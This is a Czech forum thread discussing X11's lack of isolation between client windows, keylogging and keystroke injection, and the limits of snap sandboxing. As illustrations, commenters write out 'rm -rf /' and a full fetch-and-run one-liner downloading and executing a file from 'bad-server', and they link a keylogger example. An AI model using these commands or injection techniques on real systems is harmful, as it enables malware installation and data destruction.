V kostce jde o to, že jakákoli aplikace pod X11 může v principu posílat události do oken patřících jiným aplikacím (např. simulovat kliknutí myší), nebo odposlouchávat, co se v těchto oknech děje.
Je tomu tak od té doby, co se používá X11 a systém snapů v tomto ohledu neznamená žádnou novou bezpečnostní díru. Jenomže snapy mají za cíl izolovat jednotlivé aplikace od sebe navzájem i od OS tak, aby případná aplikace, která obsahuje malware, neměla přístup k žádným jiným souborům a tedy pokud možno nemohla moc škodit (na rozdíl od současné situace, kdy každá aplikace, kterou spustíte, má neomezený přístup k celému vašemu home). Snap toto zaručuje, ale, jak uvedeno v článku, tato izolace zatím není dokonalá vzhledem k onomu starému problému s X11. Toť vše.
Diky moc.
Tusil jsem ze jde o bouri ve sklenici vody. Jde o vlastnost, nikoli chybu X11 a celkem mi prijde zbytecny ze nekdo kvuli demonstraci zbastlil appku, kdyz ve standardni instalaci Xorg je k dispozici utilita xev, ktera dela prakticky to same.
Izolace Xkovych klientu je sice pekny napad a IMHO resitelny primo v Xserveru za cenu zpetne nekompatibility,ale prijde mi jako polovicate reseni kdyz keylogger se muze infikovat jako rodicovsky proces treba toho browseru a prepsani ulozenych SSH klicu nebo primo rm -rf na domovsky adresar nezabrani uz vubec.
To je problém X11. Každý stisk klávesy, posun ukazatele myši, minimalizace okna atd. je událost, X11 event. Aplikace mají message loop, do kterého tyhle události dostávají, a podle nich pak fungují. Průšvih je v tom, že každá aplikace může poslouchat všechny X11 events, a může je také volně posílat.
Proto když máte otevřené piškvorky, tak mohou naslouchat stiskům kláves v okně terminálu, který běží pod rootem (včetně hesel). A pochopitelně piškvorky mohou i poslat terminálu běžícímu pod rootem falešné stisky kláves, včetně například "rm -rf /". Obecně jakákoliv aplikace může dělat cokoliv.
Snappy s tím nemá nic společného, tedy vyjma toho že tenhle problém neřeší.
Jen dodam, ze by default to takhle nefunguje. Az tak stupidni to neni. Aplikace dostava pouze eventy, ktere se tykaji jen jejiho okna. Podivejte se na aplikace xev a xeyes.
Aplikace ale muze na sebe presmerovat eventy i z jinych oken. Coz je typicky to co dela windows manager. Presmeruje na sebe vsechny eventy a pak je posila dal.
Souhlas, aplikace normálně dostává jen eventy které se jí týkají. Při vytváření okna specifikujete události, která chcete dostávat. Pokud chcete i události z jiných oken, stačí projít strom oken a zaregistrovat se pro odběr událostí pomocí XSelectInput(), třeba takhle:
http://www.stllinux.org/meeting_notes/1997/0619/xkey.html
Otázka je, jestli (a jak) tenhle problém řeší Wayland a Mir. Máte k tomu někdo informace? V obou případech může být problémem požadavek na kompatibilitu s X11.
Tahle funkcionalita je vpodstate potrebna pouze pro nektere aplikace (window manager, gesta, zkratky, zpristupneni atd.), pro ostatni aplikace by se to dalo zariznout. Nekolik projektu todle resi, ale do mainstreemu se to IMO nedostane, protoze pro zneuziti je porad potreba exploitnout aplikaci, ktera ma pristup k displaji, a pak si najit neco, jak to zneuzit, coz v heterogenim svete X11 desktopu omezi pocet cilu tak, ze se tim nikdo nezabyva.
Bohužel těch výjimek je tolik, že to těžko zaříznout. Právě proto jsem se zajímal, jak podobná vypadá situace na Wyalandu a Miru.
Ad pro zneuziti je porad potreba exploitnout aplikaci, ktera ma pristup k displaji, a pak si najit neco, jak to zneuzit, coz v heterogenim svete X11 desktopu omezi pocet cilu tak, ze se tim nikdo nezabyva - to platí jen do doby než se vyskytne první exploit na browser, který do všech otevřených terminálů napíše "cd ~&&wget http://bad-server/dir/bad-executable&&chmod 777 bad-executable&&./bad-executable&&clear".
Ono je nejlepší si přečíst ten originální článek od Matthew Garretta. Odvozené články z toho často udělaly senzaci, ale o žádnou senzaci se nejedná. Ty bezpečnostní problémy existují i v tradičním modelu, který na Linuxu používáme od nepaměti. Některá prohlášení o snapech z nich dělala bezpečné řešení. Matthew jen ukázal, že to tak pořád úplně neplatí a že lidi nemají podléhat falešnému bezpečí. X11 je jedna věc, další je, že pořád neexistuje žádný mechanismus, jak aplikaci umožnit kontrolovaný a granulovaný přístup k datům mimo sandbox. Pokud aplikace potřebuje přístup k datům v /home, tak jí autor povolí přístup do celého /home (nebo klidně i celého hosta) a uživatel na to není během instalace ani nijak upozorněný.
Současná podoba snapů, XdgApp a podobných je krok správným směrem, ale ještě nás čeká hodně dlouhá cesta, než si budeme moct říct, že desktopové aplikace provozujeme na Linuxu opravdu zabezpečeným způsobem.